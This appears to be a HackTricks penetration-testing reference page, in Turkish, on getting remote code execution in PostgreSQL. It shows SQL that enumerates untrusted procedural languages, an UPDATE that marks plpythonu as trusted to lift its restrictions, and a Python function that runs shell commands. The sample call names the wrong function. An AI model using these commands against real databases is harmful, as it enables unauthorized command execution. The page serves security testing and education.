RCE with PostgreSQL Languages

Support HackTricks

PostgreSQL Dilleri

Erişim sağladığınız PostgreSQL veritabanında kötüye kullanabileceğiniz farklı betik dilleri yüklü olabilir ve rastgele kod çalıştırmak için bunları kullanabilirsiniz.

Onları çalıştırabilirsiniz:

\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;

Çoğu PostgreSQL'de kurabileceğiniz betik dilleri 2 çeşide sahiptir: güvenilir ve güvensiz. Güvensiz olanların adı "u" ile biter ve bu, kod çalıştırmanıza ve diğer ilginç işlevleri kullanmanıza izin veren versiyondur. Kurulduğunda ilginç olan diller şunlardır:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (güvensiz bir versiyon kullanan başka herhangi bir programlama dili)

Eğer ilginç bir dilin kurulu olduğunu ancak PostgreSQL tarafından güvensiz olarak işaretlendiğini (lanpltrusted false ise) bulursanız, PostgreSQL tarafından herhangi bir kısıtlama uygulanmaması için aşağıdaki satırla güvenilir hale getirmeyi deneyebilirsiniz:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

Eğer bir dili göremiyorsanız, onu yüklemeyi deneyebilirsiniz (süperadmin olmanız gerekiyor):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Dikkat edin ki, güvenli sürümleri "güvensiz" olarak derlemek mümkündür. Örneğin bunu kontrol edin. Bu nedenle, yalnızca güvenilir olanı bulsanız bile kodu çalıştırıp çalıştıramayacağınızı denemeye değer.

plpythonu/plpython3u

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

pgSQL

Aşağıdaki sayfayı kontrol edin:

PL/pgSQL Password Bruteforce

C

Aşağıdaki sayfayı kontrol edin:

RCE with PostgreSQL Extensions
HackTricks'i Destekleyin

Last updated